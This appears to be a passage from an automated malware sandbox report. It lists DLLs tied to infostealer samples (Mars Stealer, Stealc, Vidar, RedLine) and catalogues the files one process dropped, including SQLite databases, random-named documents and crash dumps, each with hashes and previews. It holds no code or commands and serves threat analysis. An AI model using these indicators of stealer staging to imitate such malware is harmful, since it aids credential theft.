C:\ProgramData\freebl3.dll	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	4JgB4mYxvJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
C:\ProgramData\mozglue.dll	4BfhCycV4B.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse
	4JgB4mYxvJ.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	q27UFusYdn.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	ipR98bCqps.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5SLBlv4aUS.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	XAcuSo8KDa.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	WF2R8Bsptu.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	5F25UVdGxt.exe	Get hash	malicious	Mars Stealer, Stealc, Vidar	Browse
	f0FSseHktD.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, Stealc, Vidar, zgRAT	Browse
	wipOhNpHIG.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse

Created / dropped Files

C:\ProgramData\AKFHCAKJDBKKEBFIIJJEGIJDAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Canon_Inc_IC\UniversalInstaller\ServiceLog\CANON_UIX_SERVICELOG_20240423093808.TXT

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.286613601899123
Encrypted:	false
SSDEEP:	12:ftu3GtzPf5AILATo/4WpXD4hBBcfXWSHqWF1KZRkIYe1f:lHRfB8T6HpXMhBBWWgQzIS
MD5:	EC2A25850B72636D348C807D5CC00960
SHA1:	90DBBF71EE0F1EFA884C65D3E13C5450BCFA1908
SHA-256:	AA06E77E6860F382E03571B79C968A1BBEDDD82688C0106419A47208CE892EB1
SHA-512:	0C727DBA41015344A5592D8C286993CD9BDDCC2F6DA2232C9559DD6526DC16CC0C0FCF434C434881007AC2C389C747268A6CAA51E12482C39401B78EE6F30C51
Malicious:	false
Reputation:	low
Preview:	.[SystemInformation]..Time=20240423093808..AppVersion=2.5.30.7..AppPath=C:\Users\user\AppData\Local\Temp\u5e0.2\run.exe..CPU=586..PhysicalRAM=8.0GB..OSVersion=10.0..ServicePackVersion=0..CPUArchitecture=64Bit..WinDir=C:\Windows..Process=..VolumeInfo=..Country=..Language=2057..Account=user..--------------------..[LanguageInformation]..DisplayLanguage=2057..Format=8192..SystemLocale=2057..DefaultLanguage=2057..--------------------..

C:\ProgramData\DBKKFCBAKKFBGCBFHJDG

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DTBZGIOOSO.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.705615236042988
Encrypted:	false
SSDEEP:	24:B65nSK3I37xD9qo21p9G7ILc3pkowOeuiyJRdt7fXzyxu3f7Lj8X2:B65SK3Xx1OXpkowOeMJR/fzeYX8X2
MD5:	159C7BA9D193731A3AAE589183A63B3F
SHA1:	81FDFC9C96C5B4F9C7730127B166B778092F114A
SHA-256:	1FD7067403DCC66C9C013C2F21001B91C2C6456762B05BDC5EDA2C9E7039F41D
SHA-512:	2BC7C0FCEB65E41380FE2E41AE8339D381C226D74C9B510512BD6D2BAFAEB7211FF489C270579804E9C36440F047B65AF1C315D6C20AC10E52147CE388ED858A
Malicious:	false
Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\ProgramData\EBGCFBGCBFHJECBGDAKKJDGHII

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHCBAAAF

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBFHDBKJEGHJJJKFIIJEBGIJKK

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIJECAEHJJJKJKFIDGCB

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHJKECAA

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\ProgramData\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\ProgramData\LTKMYBSEYZ.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5e0.0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_H6ohQMZygb.exe_17f352d9e82a7e27ed6bd19e3bb5c3d06d4827cd_71d76d1c_f19226d0-d6f4-4850-971d-ccfed2a97a9b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0163038270476659
Encrypted:	false
SSDEEP:	192:/QmFuCeD+0Fdo1GjxxxeozuiFuZ24IO8/:aCeDlFdo1GjBzuiFuY4IO8/
MD5:	0F8732D60C51B66F4BBD2CFD9ACEEB85
SHA1:	49BFC760788397E645C87E61E4BDAB28D0A7CBDB
SHA-256:	E7DA5D682282AB50A88FB891D580133E8E40E092EBEDAE969F0715C2C094DB99
SHA-512:	F252E3B1D917D08E94D9E4E03444967C50C6F931D9BBD14E866A024B5D8199A3949EFD1AF30459A620D6FB67E6851217BBF5B681D03CBA3DC8EE34815B4B31F6
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.3.3.1.4.9.4.9.6.2.0.3.7.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.3.3.1.4.9.5.5.4.0.1.5.5.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.1.9.2.2.6.d.0.-.d.6.f.4.-.4.8.5.0.-.9.7.1.d.-.c.c.f.e.d.2.a.9.7.a.9.b.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.8.5.0.f.e.e.b.-.8.0.0.9.-.4.6.7.9.-.a.1.f.2.-.5.8.9.0.6.0.d.7.a.a.0.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.6.o.h.Q.M.Z.y.g.b...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.4.8.-.0.0.0.1.-.0.0.1.4.-.f.c.0.d.-.7.6.2.7.5.1.9.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.4.d.f.f.e.7.b.3.4.1.8.1.2.e.5.d.6.6.9.8.c.c.f.6.9.c.f.a.5.d.7.0.0.0.0.f.f.f.f.!.0.0.0.0.7.d.b.2.c.1.5.8.4.f.c.2.3.f.c.7.8.4.5.c.1.1.1.2.1.6.1.c.f.4.e.c.e.1.4.7.5.7.e.2.!.H.6.o.h.Q.M.Z.y.g.b...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_u5e0.0.exe_9018e61475925ab2a6fce5ee63e45afcafdd78eb_8e21d969_a7a435be-c8af-4b3e-a727-f9e151f69f0a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0525269163392177
Encrypted:	false
SSDEEP:	192:psntN5/o0k80sjSXZrMZO9bzuiFuZ24IO8dC:+ntN5/Dk80sj7UbzuiFuY4IO8dC
MD5:	1FC98723DB1E02B81A0F80B277E09EEB
SHA1:	A531C3E1343D12561E034D5BF8F6A57ABB791FC4
SHA-256:	A7839C02579DFA61C756A76C5E4A7F24AE042310E731403727105E6884D79AD3
SHA-512:	EF11E982949C845F88281C9D300711918EAE81C32E2736BC73AAE431A22986DEE58FBD256DDEFC05A64DBCED289C54F4B46911428F1F47C8A4DC9DE525DF50F4
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.8.3.3.1.5.2.1.1.5.7.2.2.4.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.8.3.3.1.5.2.1.7.3.0.2.2.4.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.a.4.3.5.b.e.-.c.8.a.f.-.4.b.3.e.-.a.7.2.7.-.f.9.e.1.5.1.f.6.9.f.0.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.d.f.d.6.3.5.5.-.9.f.2.3.-.4.5.a.0.-.9.a.b.6.-.a.f.1.e.e.e.f.d.8.d.6.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.u.5.e.0...0...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.4.-.0.0.0.1.-.0.0.1.4.-.c.9.5.0.-.e.d.2.a.5.1.9.5.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.d.d.0.d.d.3.b.a.3.5.6.6.6.3.0.f.8.5.c.8.a.0.c.c.9.d.5.d.b.2.0.0.0.0.0.0.a.1.6.!.0.0.0.0.b.e.3.9.d.0.7.7.0.4.e.f.b.3.5.b.d.1.5.0.3.b.3.9.1.4.c.6.d.d.6.c.9.e.6.3.1.2.e.8.!.u.5.e.0...0...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER219D.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Apr 23 07:38:15 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	41558
Entropy (8bit):	2.626147866256007
Encrypted:	false
SSDEEP:	192:uT7Xqd8W/XSXouPpB8kHGLjOS1wWujrbrbrbrbrMxCSWykEBcKuhoNkP5T4YQbky:Ay8WruPpB8kJS1BCSWykIuymCYcllH
MD5:	0D24C55F38D7C967A5D3D06C1F5994F2
SHA1:	209C1FF4740286E0FED621B4F901F7E8E07C22E0
SHA-256:	CD14102A16F218EEBE81F2021DD3B99954368509ECFF21EBEBD012A3503F1C2E
SHA-512:	39C4F05124C937D1DA94CDA4CADA2369605665A744D57D19D60C3CB21ADCE900B75ADF6B1F6CFF8908551C79BF3CA607176BA40E0BD2D05BAB7D60CDD487F33C
Malicious:	false
